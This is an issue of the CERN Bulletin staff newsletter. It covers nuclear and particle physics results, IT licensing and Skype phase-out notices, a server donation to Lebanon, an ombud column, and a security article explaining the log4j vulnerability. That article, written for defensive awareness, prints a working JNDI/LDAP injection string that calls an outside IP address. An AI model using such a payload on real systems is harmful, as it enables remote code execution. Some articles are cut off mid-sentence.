ISOLDE DATA GET DELUXE THEORETICAL TREATMENT

A unique combination of high-quality experimental data and several state-of-the-art nuclear-physics models has resulted in an excellent agreement between experiment and theory.

The ISOLDE facility seen from above. (Image: CERN)

The atomic nucleus is a tough nut to crack. The strong interaction between the protons and neutrons that make it up depends on many quantities, and these particles, collectively known as nucleons, are subject to not only two-body forces but also three-body ones. These and other features make the theoretical modelling of atomic nuclei a challenging endeavour.

In the past few decades, however, ab initio theoretical calculations, which attempt to describe nuclei from first principles, have started to change our understanding of nuclei. These calculations require fewer assumptions than traditional nuclear models, and they have a stronger predictive power. That said, because so far they can only be used to predict the properties of nuclei up to a certain atomic mass, they cannot always be compared with so-called DFT calculations, which are also fundamental and powerful and have been around for longer. Such a comparison is essential to build a nuclear model that is applicable across the board.

(Continued on page 2)
ISOLDE DATA GET DELUXE THEORETICAL TREATMENT

In a paper just published in Physical Review Letters, an international team at CERN’s ISOLDE facility shows how a unique combination of high-quality experimental data and several ab initio and DFT nuclear-physics calculations has resulted in an excellent agreement between the different calculations, as well as between the data and the calculations.

“Our study demonstrates that precision nuclear theory from first principles is no longer a dream,” says Stephan Malbrunot of CERN, the first author of the paper. “In our work, the calculations agree with each other, as well as with our ISOLDE data on nickel nuclei, to within a small theoretical uncertainty.”

Using a suite of experimental methods at ISOLDE, including a technique to detect the light emitted by short-lived atoms when laser light is shone on them, Malbrunot and colleagues determined the (charge) radii of a range of short-lived nickel nuclei, which have the same number of protons, 28, but a different number of neutrons. These 28 protons fill a complete shell within the nucleus, resulting in nuclei that are more strongly bound and stable than their nuclear neighbours. Such “magic” nuclei are excellent test cases for nuclear theories, and in terms of their radius, nickel nuclei are the last unexplored magic nuclei that have a mass within the mass region at which both ab initio and DFT calculations can be made.

Comparing the ISOLDE radii data with three ab initio calculations and one DFT calculation, the researchers found that the calculations agree with the data, as well as with each other, to within a theoretical uncertainty of one part in a hundred.

“An agreement at this level of precision demonstrates that it will eventually become possible to build a model that is applicable across the whole chart of nuclei,” says Malbrunot.

Ana Lopes

INTERNAL COMMUNICATIONS SURVEY: CHANGE THE WAY YOU GET INFORMED ON CERN MATTERS! (REMINDER)

Take this 5-minute survey to help us improve CERN’s internal communication channels, with a particular focus on the CERN Bulletin

With 57 years and counting behind it, the CERN Bulletin has been the Laboratory’s internal newsletter for most of its existence. Since the days when a print copy was distributed to each office, the Laboratory and its community have changed a lot, and the Bulletin has always adapted to keep up with this evolution and growth. In parallel, new ways of keeping you informed have budded over the years, such as departmental newsletters, internal screens and panels at the sites’ entrances. In the light of the profound changes that CERN is currently undergoing, we think that the time has come for all these communication channels to be rethought and reshaped, to ease access to information, better engage with you and promote the feeling of community that we hold dear.

Help us make this happen by taking this 5-minute survey [https://surveyhero.com/m/c/ytxzv449].

In this survey, you will be asked to share the ways you get informed on CERN news and matters, and your opinions on the various internal communication channels. We strongly encourage you to participate even if you have never read the CERN Bulletin: it is about finding new ways of keeping you engaged in CERN and its mission and of delivering all the information that you need in a timely manner. We think every member of our community can benefit from this.

Your personal data will be processed only until it is downloaded and anonymised. The analysis of the survey and the presentation of the results will be completely anonymous. The collected data will be used exclusively in the framework of the evaluation campaign. Click here [https://cern.service-now.com/service-portal?id=privacy_policy&se=internal-events\lnotice=internal-communication-survey] for the privacy notice.

Thomas Hortala
THREE-YEAR MALT PROJECT COMES TO A CLOSE

At the end of 2021, the three-year MALT project, working to rationalise the provision of software licences at CERN, ended.

The CERN IT department is responsible for providing over 150 different software packages – both commercial and open source – to members of the CERN community. (Image: CERN)

At the end of 2021, the three-year MALT project, working to rationalise the provision of software licences at CERN, ended. The important lessons learned from this project will now be applied across all related activities at the Organization.

Like most large organisations, CERN makes use of software – both commercial and open source – to support its core work. The IT department provides software to those who need it across the Laboratory. In cooperation with the IPT department, the IT department supports the CERN community by negotiating and purchasing the licences for the commercial software that is required.

Over recent years, numerous companies have moved from a “campus” to a “cloud” model of software provision. Many now require a specific number of people – or even named individuals – to be associated with licences, often resulting in marked price increases.

To address this, the MALT project was launched in 2019 with the hiring of six fellows. Since then, the project has helped the Organization to rationalise licences, identify alternative software where appropriate and negotiate improved licensing deals with key software vendors. The project has also helped us to learn valuable lessons about providing software licences across a unique – and highly heterogeneous – organisation like CERN. The six key lessons are as follows:

- **Accounting:** Knowing the total costs associated with software can help us all to make better, informed decisions.
- **Eligibility:** Based on the above, the IT department has learned the importance of defining clear eligibility criteria – based on needs – for licensed products. This ensures that costs don’t automatically spiral when personnel numbers grow.
- **Standardisation:** Where markets are mature, we should rely on out-of-the-box software. Minimising customisation where it is not strictly necessary ensures services remain manageable and affordable and can be upgraded or replaced easily.
- **User engagement:** Strong channels for communication and inter-departmental governance help the IT department to understand needs and provide appropriate software, differentiating requirements in a fine-grained manner.
- **Architecture:** Software products should not be seen independently, but rather as part of a soundly archi-
tected user-centric technology landscape across the Organization.
- **Data governance:** Solutions provided via the cloud must be compliant with CERN policies on security, data ownership and data privacy.

These lessons will now be applied to all decision-making processes related to software licensing: both those currently under way and those that arise in future. Given that this move to a cloud licensing model is part of a wider trend among software vendors, it is also vital to ensure that we have personnel with expertise in cloud licensing located in the relevant teams at CERN – both within the IT department and beyond.

“One of several situations that led to the launch of the MALT project in 2019 was the proposed increase in licensing costs for key software vendors,” says Maite Barroso Lopez, the former leader of the MALT project and Deputy Head of the CERN IT department. “MALT has helped us to rationalise how licences are used across our wider community, reducing waste and freeing up the space to focus our relationships with vendors on new and strategic technologies that support CERN’s mission.”

“With the MALT umbrella project coming to a successful close, we will put the lessons to work,” says Enrica Porcari, Head of the CERN IT department. “We believe the MALT project has put us in a good position to help our communities have easy and timely access to the right tools to do their work as efficiently and effectively as possible.”

Andrew Purcell

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CERN COMPUTER SERVERS SET SAIL FOR LEBANON

On 14 January, CERN representatives met with a Lebanese delegation to celebrate the shipping of donated computer servers to Lebanon following a fundraising campaign for the High-Performance Computing for Lebanon (HPC4L) project.

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Enrica Porcari (Information Technology Department)
A year and a half after the explosion in the port of Beirut, Lebanon is still struggling to recover from a serious economic and social crisis that has paralysed this partner state of CERN, which has four universities affiliated to the CMS collaboration. International solidarity is more necessary than ever to shore up the country’s tradition of academic excellence and support its scientific community. In this context, developments such as the donation of CERN computing equipment offer a glimmer of hope amidst Lebanon’s setbacks.

The long-awaited fruition of this project, known as HPC4L, was marked on Friday 14 January at a meeting between Joachim Mnich (CERN Director for Research and Computing), Enrica Porcari (Head of the Information Technology department at CERN), representatives of the Lebanese scientific community and of the foundations that have pledged financial support, and the Ambassador of Lebanon to the international organisations in Geneva. In 2016, the project, which was initiated by the CERN Adviser for the Middle East and North Africa Region, Martin Gastal, set out to boost Lebanon’s research capacity and secured the contribution of CERN, through the Organization’s Information Technology department, in the form of computer servers. The servers will make it possible to develop the computing capacity available to the Lebanese academic community in support of all kinds of research activities, including in high-energy physics. However, the servers could not be transported to Lebanon because of the crisis that was gripping the country, which reduced the funds available in the Lebanese institutes.

Thanks to a successful fundraising campaign, organised by the CMS collaboration and the Sharing Knowledge Foundation (SKF), the necessary funds have been raised to cover the cost of shipping the hardware, purchasing the equipment required to install it and training Lebanese technical staff at CERN. The international scientific community and the Lebanese diaspora, both of which proved particularly generous, helped make the fundraising campaign – and therefore the threatened project – a success, thereby illustrating their solidarity with Lebanon’s academic institutions and boosting the country’s research capacity. The commitment of the French embassy in Lebanon, which provides financial aid to participate in the training costs of the Lebanese personnel in charge of the operation and maintenance of the computer servers, has also facilitated the concrete implementation of the project.

Now that the funds have been raised, the servers will immediately set sail for Lebanon, where their new owners and users will be awaiting their arrival in the port of Beirut. CERN is sending 144 computing servers, containing a total of 3456 cores. In addition, CERN is supplying storage capacity by sending 24 disk servers that will provide over 1 petabyte. This equipment is donated from the CERN data centre, which forms the heart of the Worldwide LHC Computing Grid (WLCG). The WLCG is used to store and analyse data from the LHC experiments.

The equipment will then be installed in a dedicated computing centre that will be run by a public–private consortium whose technical staff will be trained at CERN by CMS experts once the installation of the servers, scheduled for March 2022, is complete. Once that final hurdle has been cleared, the universities will be able to start using the facility to develop their research and to participate in the WLCG, which includes 170 computing centres in 42 countries across the globe.

It has been a long and tortuous road since the project began, but a happy ending is now in sight, thanks to the perseverance of all those in Lebanon, Europe and around the world who have invested their time and resources to help consolidate scientific research in Lebanon.

Visit the dedicated website to find out more about the project and its partners (MoT/OGERO, AUB, LAU, USJ, LU, USEK, BAU, CNRS, Tamari Foundation, Eudoxia Foundation).

Since 2012, CERN has regularly donated computing equipment that no longer meets its highly specific requirements on efficiency but is still more than adequate for less exacting environments. To date, a total of 2524 servers and 150 network switches have been donated by CERN to countries and international organisations, namely Algeria, Bulgaria, Ecuador, Egypt, Ghana, Mexico, Morocco, Lebanon, Nepal, Palestine, Pakistan, the Philippines, Senegal, Serbia, and the SESAME laboratory in Jordan. CERN strives to maximise its positive impact on society: these donations can play an important role in providing opportunities for researchers and students in their home countries, thus helping to avoid so-called ‘brain-drain’ scenarios.

Thomas Hortala

ENVIRONMENTAL AWARENESS: GREENHOUSE GAS EMISSIONS RELATED TO CERN ACTIVITIES

For more information on CERN’s greenhouse gas emissions, please see the HSE webpage on air protection (https://hse.web.cern.ch/hse-unit/channels/environment-cern).

CERN’s environment reports can be found here (https://hse.cern/environment-report).

ATLAS GIVES NEW INSIGHT INTO THE INTERNAL STRUCTURE OF THE PROTON

During the Lepton Photon Conference this week, the ATLAS collaboration presented a new paper that describes how partons interact within the proton

Knowledge of PDFs has traditionally come from lepton–proton colliders, such as HERA at DESY. These machines use point-like particles, such as electrons, to directly probe the partons within the proton. Their research has revealed that, in addition to the well-known up and down quarks that are inside a proton, there is also a sea of other quark–antiquark pairs in the proton. This sea is theoretically made of all types of quarks, bound together by gluons. Now, studies of the LHC’s proton–proton collisions are providing a detailed look at PDFs, in particular the proton’s gluon and quark-type composition.

The ATLAS collaboration has just released a new paper combining LHC and HERA data to determine PDFs. The result uses ATLAS data from several different Standard Model processes, including the production of W and Z bosons, pairs of top quarks and hadronic jets (collimated sprays of particles). The strange quark’s contribution to PDFs was expected to be lower than that of lighter quarks. The new paper confirms a previous ATLAS result, which found that the strange quark is not substantially suppressed at small proton momentum fractions and extends this result to show how suppression kicks in at higher momentum fractions.

Several experiments and theoretical groups around the world are working to understand PDFs, as variance in these results could impact high-energy searches for physics beyond the Standard Model.

Achieving high-accuracy PDFs is needed if physicists are to find evidence for new-physics processes – which is where the ATLAS analysis contributes most powerfully. The ATLAS collaboration is able to assess the correlations of the systematic uncertainties between their datasets and account for them – an ability put to great effect in their new PDF result. Such knowledge was not previously available outside ATLAS, making this result a new “vademecum” for global PDF groups.

Read the full article [https://atlas.cern/updates/briefing/insight-proton-structure] on the ATLAS website.

Additional links

- arXiv: 2112.11266
- Figures: [https://atlas.web.cern.ch/Atlas/GROUPS/PHYSICS/PAPERS/STDM-2020-32]
- Lepton photon talk: [https://indico.cern.ch/event/949705/contributions/4556026/]

ATLAS collaboration

A CRUNCHING MULTIVERSE TO SOLVE TWO PHYSICS PUZZLES AT ONCE

A duo of theorists proposes a new theory to explain both the surprisingly small mass of the Higgs boson and the puzzling symmetry properties of the strong force

In D’Agnolo and Teresi’s model, in its early moments the universe is a collection of many universes each with a different value of the Higgs mass, including light-Higgs universes. After a very short time, heavy-Higgs universes collapse in a big crunch, whereas light-Higgs
mentary particles that have mass get their masses. But it also marked something no less fundamental: the beginning of an era of measuring in detail the particle's properties and finding out what they might reveal about the nature of the universe.

One such property is the particle's mass, which at 125 GeV is surprisingly small. Many theories have been put forward to explain this small mass, but none has so far been confirmed with data. In a paper just published in Physical Review Letters, Raffaele Tito D'Agnolo of the French Alternative Energies and Atomic Energy Commission (CEA) and Daniele Teresi of CERN propose a new theory to explain both the lightness of the Higgs boson and another fundamental physics puzzle.

In broad brushes, the duo's theory works like this. In its early moments, the universe is a collection of many universes each with a different value of the Higgs mass, and in some of these universes the Higgs boson is light. In this multiverse model, universes with a heavy Higgs boson collapse in a big crunch in a very short time, whereas universes with a light Higgs boson survive this collapse. Our present-day universe would be one of these surviving light-Higgs universes.

What's more, the model, which includes two new particles in addition to the known particles predicted by the Standard Model, can also explain the puzzling symmetry properties of the strong force, which binds quarks together into protons and neutrons, and protons and neutrons into atomic nuclei.

Although the theory of the strong force, known as quantum chromodynamics, predicts a possible breakdown in strong interactions of a fundamental symmetry called CP symmetry, such a breakdown is not observed in experiments. One of the new particles in D'Agnolo and Teresi's model can solve this so-called strong CP problem, making strong interactions CP symmetric. Moreover, the same new particle could also account for the dark matter that is thought to make up most of the matter in the universe.

The jury is of course out on whether the new model, or any of the many other models that have been proposed to explain the Higgs boson mass or the strong CP problem, will fly.

"Each model comes with perks and limitations," says Teresi. "Our model stands out because it is simple, generic and it solves these two seemingly unrelated puzzles at once. And it predicts distinctive features in data from experiments that aim to search for dark matter or for an electric dipole moment in the neutron and other hadrons."

Other recent theoretical proposals to explain the Higgs mass include the relaxion field model, a new phenomenon in quantum cosmology and the selfish Higgs model, to mention a few. Older, more traditional theories are based on a Higgs boson that is a composite particle or on a new type of symmetry called supersymmetry. Only time and data will tell which – if any – of the models will prevail.

In Apache's "log4j" Java logging library, affects nearly everything. Java is prevalent and embedded in many (too many?) websites, applications, firmware and so on. This makes it hard to fix, in particular with the impending Christmas period, when everyone wants to leave for vacation and the attackers are readily preparing to strike. Unwanted presents under the Christmas tree.

"log4j" is a Java library used by developers and application managers to monitor activity within their application or website in detail. This logging makes it possible to pinpoint problems, misbehaviour and areas for improvement. Given that it is a Java library, it is a fundamental building block and used in many modern software packages. This is what makes the recent vulnerability found in log4j "the most serious vulnerability I've seen" (according to US Cybersecurity and Infrastructure Security Agency Director Jen Easterly) as more than 35 000 Java packages, amounting to over 8% of the Maven Central Repository (the most significant Java package repository), have been found to be impacted by the recently disclosed log4j vulnerabilities. And these are only those found in a single repository [1].

The vulnerability is simple and efficient, leading directly to remote code execution (RCE) if the logging data contains any malicious payload (like $jndi:ldap://188.185.91.34:1337/a), where in this particular case the IP address 188.185.91.34 points to a benign CERN server. The log4j vulnerability is triggered by this payload and the server makes a
request to 188.185.91.34 via the Java Naming and Directory Interface (JNDI). In the sad reality of computer attacks, that IP address would be an attacker-controlled server that would respond with a remote Java class file injected into the log4j's server process and allow the attacker to execute arbitrary code. The simplicity of the attack, in particular because it only requires a single input field in a public or Internet-facing web service or application, is what makes it so dangerous. Jackpot for the attacker. Understandably, the computer security and IT communities were not amused. Christmas. Vacation. And an unwanted present under their Christmas tree.

The underlying problem, however, is not log4j. As with Heartbleed a few years ago, the main issue is the lack of knowledge of where a particular library, whether log4j or Heartbleed’s “openssl”, is used. A lack of inventory. A lack of dependency management. When you don’t know, mitigation is impossible. It becomes even more complicated if software is (automatically) imported from remote sources (see our Bulletin article on *A new twist for those who rely on external software*). Like using free and open-source software (FOSS). While FOSS is meant to be reused, this does not guarantee support, updates or the absence of security flaws, especially for small projects or those without proper support/funding. And, in particular, when some (powerful) beneficiaries take the code without participating in the community nor contributing to the project themselves…Central repositories like Gitlab and central registries definitely help under certain circumstances.

For example, the CERN Computer Security team was able to contact all the owners of potentially affected Openshift projects thanks to its central inventory [2]. Full inventories, the so-called “software bill of materials” (SBOM), would definitely help further once implemented (find some presentations on that at [https://indico.cern.ch/event/1094462/](https://indico.cern.ch/event/1094462/)). Likewise, curation tools like “Nexus” or “Snyk” ([https://indico.cern.ch/event/959475/](https://indico.cern.ch/event/959475/)) might also help, but would need to be deployed first (see our plea in Bulletin article *Fancy dinner or burned pie?*).

Fortunately, so far, neither CERN’s intrusion detection system nor the logs of CERN’s outer perimeter firewall have detected any successful exploitation of this unwanted present. While the Computer Security team has scanned for any potentially vulnerable web applications and alerted the corresponding owners, we are counting on you to check and mitigate your applications and websites, if you haven’t done so already, in order to avoid any post-Christmas surprises! Unwanted presents go straight in the dustbin!

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Do you want to learn more about computer security incidents and issues at CERN? Follow our Monthly Report. For further information, questions or help, check our website or contact us at Computer.Security@cern.ch.

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[2] Funnily enough, 50% of the Openshift-hosted projects whose owners were notified were deleted immediately. It looks like CERN really needs a better resource life cycle as those, apparently unimportant, projects block resources and pose a latent security risk.

Computer Security team

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**OMBUD’S CORNER: WHY DIDN’T YOU TELL ME BEFORE?**

Some visitors to the Ombud's Office tell me they don't feel entirely comfortable expressing their ideas, concerns and opinions within their team or to their supervisor or project leader.

Some visitors to the Ombud's Office tell me they don’t feel entirely comfortable expressing their ideas, concerns and opinions within their team or to their supervisor or project leader.

The thing is, such teams are probably losing out on early warnings of risks, game-changing ideas and thought-provoking views on how to achieve the team's goals. In today's era of knowledge and innovation, a team's knowledge and ideas are its biggest assets.

Extensive research has been conducted on what makes outstanding teams, i.e. well-functioning, productive, innovative teams – basically, the kind of teams you want to join. See, for example, the results of the four-year research project Aristotle conducted by Google in its quest to build the perfect team.

In addition to diversity, which is a key dimension of the best teams, is psychological safety *:* “a group culture and team climate characterized by interpersonal trust and mutual respect, in which people are comfortable being themselves. It is a sense of confidence that the team is safe for interpersonal risk-taking, i.e. that the team will not embarrass, reject or punish someone for speaking up”.

In a psychologically safe team, you feel included, safe to make mistakes and learn, safe to contribute and safe to challenge the status quo.

To get a sense of how psychologically safe your work environment is, you may want to ask yourself some simple questions.

- Have you ever been afraid to ask a question?
- Have you ever remained silent when you knew the answer to a problem?
- Have you ever been ignored in a discussion?
- Have you ever been rudely interrupted in a meeting?
- Have you ever felt you were the target of a negative stereotype?
- Have you ever faced retaliation for challenging the status quo?
- Have you ever had a boss who asked for feedback but didn’t really want it?
- Have you ever been publicly shamed or made fun of?
• Have you ever been punished for making an honest mistake?
• Have you ever been made to feel inferior?

If the answer is yes to some of these questions, the chances are that your commitment to the team’s objectives and your performance might have declined.

Leaders, and anyone in a position to influence the culture of a team/group, have a clear responsibility to create a safe and trusted environment. Here are three steps that you may wish to follow:

1. **Set the stage**: Frame the work and frame failure appropriately, clarify the need for a diversity of thoughts.
2. **Invite participation**: Demonstrate humility – you don’t always have to be right, you don’t have an answer to everything and you too can make mistakes, in which case it can be very powerful to apologise. Proactively ask questions and welcome diverging views. Be a model of active listening.
3. **Respond proactively**: Walk the talk. Express appreciation when team members speak up. Destigmatise problems and failures.

Address clear violations of the rules of team collaboration.

All team members can actively contribute to shaping a psychologically safe environment that will unleash creativity, innovation and learning.

The beginning of the year and the **MERIT interviews** are great opportunities to start asking the following questions:

• Have I spoken of failures in the right way given the nature of the work? (leaders)
• Have I clarified the need to speak up and voice a diversity of thoughts? (leaders)
• Have I talked about what is at stake, why it matters and for whom? (leaders)
• Do I act like a know-it-all? (everyone)
• Do I welcome a diversity of thoughts? (everyone)
• How often do I ask questions of others rather than just expressing my perspective? (everyone)
• Do I acknowledge or thank someone when they bring an idea or question to me? (everyone)

Creating a psychologically safe environment for your team may prevent you having to ask the sometimes very painful question, when it’s too late: “Why didn’t you tell me before?”

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* Amy C. Edmondson, The Fearless Organization

I want to hear from you – feel free to email ombud@cern.ch with any feedback or suggestions for topics you’d like me to address.

**NB**: If you would like to be notified about posts, news and other communications from the CERN Ombud, please register to receive the CERN Ombud news.

Laure Esteveny

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**CERN ACCESS CARD SECURITY CAMPAIGN: UPDATE**

A campaign to increase the security of the CERN access cards has been under way since December. Almost half of all access cards have already been updated through a quick scan by security guards at the site entrances, at the registration service office or in the restaurants.

However, the new COVID-19 measures at CERN (level four) impact the physical presence of employees on site and therefore the capacity to re-encode cards at a sustained rate.

Consequently, those whose cards haven’t been updated will still be granted access to CERN’s sites up to March 2022 (as opposed to January, as was originally planned).

In the next few weeks, those present on the CERN site will receive targeted emails reminding them to update their card at the following locations:

• Building 55 (1st floor)
• Building 33 (reception)
• Entrance B (security guard)
• Préve$$in entrance (security guard)
• ADaMS (http://cern.ch/adams) or ADaMS mobile

Check if your card needs updating by logging in to ADaMS. **Entrance B (security guard)**

Even past the deadline, anyone can still have their card re-encoded at one of the stations listed above. The organisers are very grateful to everyone at CERN who has contributed to the success and speed of the upgrade so far.

Laure Esteveny
ADMINISTRATIVE CIRCULAR NO. 11 (REV. 7) – CATEGORIES OF MEMBERS OF THE PERSONNEL

Please note that the French version of the Circular will be published in the coming days. Nous vous informons que la version française de la circulaire sera publiée prochainement.

Administrative Circular No. 11 (Rev. 7), entitled “Categories of Members of the Personnel”, approved by the Director-General, is now available via the following link (https://cds.cern.ch/record/2799211?ln=en).

This revision cancels and replaces Administrative Circular No. 11 (Rev. 6), entitled “Categories of Members of the Personnel”, dated September 2018.

The main modifications are summarised below:

1. Introduction of a new subcategory of associates: experiment associates (new paragraph 23 of AC11)

The new paragraph details the profile and level of expertise required of experiment associates (EXAS) and specifies the minimum and maximum duration of their contract and appointment.

“23. Experiment Associates shall be scientists, engineers or technicians admitted by the Organization to contribute specialised technical or coordination expertise on behalf of their home institution to the execution of experiment-related activities designated by the experiment collaboration, under an agreement between the Organization, as Host Laboratory, and their home institution. They shall be employed by their home institution. The minimum duration of an appointment as an experiment associate shall be six months. The total maximum duration of an appointment as an experiment associate shall not exceed eight years.”

2. Mandatory break for the payment of a subsistence allowance

The introduction of the new subcategory had to be included in paragraph 40 (now 41) regarding mandatory breaks. It is specified that a break of payment will not apply in case of transition from a project associate (PJAS) contract to an EXAS contract.

3. Other minor changes

Other minor changes include, inter alia, the introduction of the notion of the cost-of-living allowance (COLA), in a manner similar to what was already done in the Staff Rules (footnote to article S V 1.01), and the updating of subsistence allowance amounts in annex 1.

Paragraphs 18, 24 (now 25) and 31 (now 32) of the Circular have also been amended to align the wording regarding the obligation of associated members of the personnel (MPA) to maintain a legal link with their home institution throughout the duration of their contract of association.

The revised Circular has entered into force on 1 January 2022.

HR department

Announcements

INTERNATIONAL DAY OF WOMEN AND GIRLS IN SCIENCE IS ON 11 FEBRUARY: LOCAL ACTIVITIES FOR ALL AGES

To celebrate women in science, CERN is hosting a public screening of the documentary Picture a Scientist and inviting female ambassadors from local scientific institutions to visit schools and talk to the children about their work.

The International Day of Women and Girls in Science was adopted by the United Nations General Assembly in order to promote full and equal access and participation for women and girls in science. 11 February is an opportunity to celebrate the essential role that women and girls play in science and technology.

As it does every year, CERN is partnering up with research institutions in the local region to celebrate this day by organising local activities for all ages.

From 7 to 11 February 2022, almost sixty volunteers, all female scientists and engineers from CERN, Scienscope (UNIGE), the École Polytechnique Fédérale de Lausanne (EPFL) and the Annecy Particle
Physics Laboratory (LAPP) will be visiting local schools, either in person or virtually, to talk to the pupils about their professions. They will visit more than 110 classes in the local area (canton of Geneva, Pays de Gex and Greater Annecy).

The female scientists and engineers will talk about how they got to where they are today, offer an insight into the projects and experiments on which they are working, and maybe even give some practical demonstrations. The aim is to change how young people in our region view scientific, technical and technological professions and to show them that STEM careers are just as accessible to girls as to boys. And, who knows, the presentations might even help some to discover their vocation!

And there’s something for grown-ups too! CERN will be hosting a screening of the feature film *Picture a Scientist* at 8.00 p.m. on 10 February at the Globe of Science and Innovation. This documentary (in English with French subtitles) follows the careers of researchers who are blazing the trail for women in science. The screening will be followed by a panel discussion (in English with simultaneous French interpretation) with experts in matters of gender and diversity in the sciences.

For more information and to sign up: http://voisins.cern/fr/events

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**SKYPE FOR BUSINESS TO BE PHASED OUT BY 30 JUNE 2022**

The Skype for Business service will be phased out by 30 June 2022. Skype for Business is reaching the end of its support by Microsoft and the current service at CERN relies on old hardware and an obsolete version of Windows.

For telephony services, Skype for Business is replaced by CERNphone, a softphone client available for desktops and laptops running Windows, MacOS or Linux and for Android and Apple mobile phones. A CERN mobile subscription is not necessary to use CERNphone on a mobile phone: CERNphone can be used with private subscriptions — calls are free when connected to Wi-Fi, which is available in all offices at CERN, as well as many other areas.

Skype for Business users will be contacted individually concerning the migration to CERNphone, but if you would like to switch today then please follow the migration and installation guide.

The chat functionality of Skype for Business is replaced by the Mattermost service, which (like CERNphone) is available for mobile phones as well as desktops and laptops. The video functionality of Skype for Business is replaced by the Zoom service, which is also available on mobile phones, tablets, desktops and laptops.

Work to replace the different functions of Skype for Business has been carried out in the context of the recent MALT project. Read more about this here [https://home.cern/news/news/computing/three-year-malt-project-comes-close](https://home.cern/news/news/computing/three-year-malt-project-comes-close).

CERN Telecom Services

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**76666: NEW HOTLINE FOR THE ACCESS CONTROL CENTRE**

The CSA is open 24 hours a day, seven days a week, and is there to answer all your security-related questions

CERN’s Access Control Centre (known by its French acronym, CSA), which is managed by the Site and Civil Engineering department’s Security Service, can now be reached at a single number: 76666. (The CSA’s old numbers – 78877 and 78878 – are automatically redirected to 76666.)

The CSA is open 24 hours a day, seven days a week, and is there to answer all your security-related questions, from how to access CERN, car parking, roadmarking requests, lost property and suspicious or unattended packages to antisocial conduct, criminal acts, suspicious behaviour, etc.

You can also contact the CSA by email at the following address: access.surveillance@cern.ch.

Reminder: In the event of an emergency or to report an accident, call the CERN Fire and Rescue Service on 74444.

The CSA is open 24 hours a day, seven days a week. (Image: CERN)

SCE department
ONLINE SYMPOSIUM – FUNDAMENTAL: ENCOUNTERS IN ART, DESIGN, AND SCIENCE

On Wednesday 26 January at 4pm (CET), join Daniel Tapia Takaki, Dunne & Raby, Jenna Sutela, Metahaven, Mónica Bello and Stefanie Hessler for the symposium FUNDAMENTAL: Encounters in Art, Design, and Science

In their pursuit of fundamental questions, art and science largely use different methods, means, and objectives. The focus of this symposium lies on the overlap between the almost ungraspable fundamental processes in physics, and the experimental sites and machines designed and created to render these tangible – and, in essence, offer a shimmering zone of physical proof for their existence.

Since 2019, Arts at CERN and HEAD–Genève have been co-organizing annual symposiums. After the first edition Science meets fiction, Re: View from Nowhere brought together physicists, theorists, artists, and curators in 2020, organised in collaboration with Metahaven. Fundamental is the third edition, jointly organized with Kunsthall Trondheim.

Programme:

• 16:00–16:15 Welcome, Summary of Previous Symposium, and Introduction — Mónica Bello, Head of Arts at CERN
• 16:15–16:40 artist collective Metahaven
• 16:40–17:05 Daniel Tapia Takaki, high-energy nuclear physicist working with the ALICE Experiment at CERN
• 17:05–17:30 designers Dunne & Raby
• 17:30–17:55 artist Jenna Sutela
• 17:55–18:10 Remarks and intro to Q&A — Stefanie Hessler, Director of Kunsthall Trondheim
• 18:10–18:40 Q&A moderated by Stefanie Hessler

REGISTER HERE (https://zoom.us/webinar/register/3016424960082/WDz7NkJp2QS0d9ysteV6T)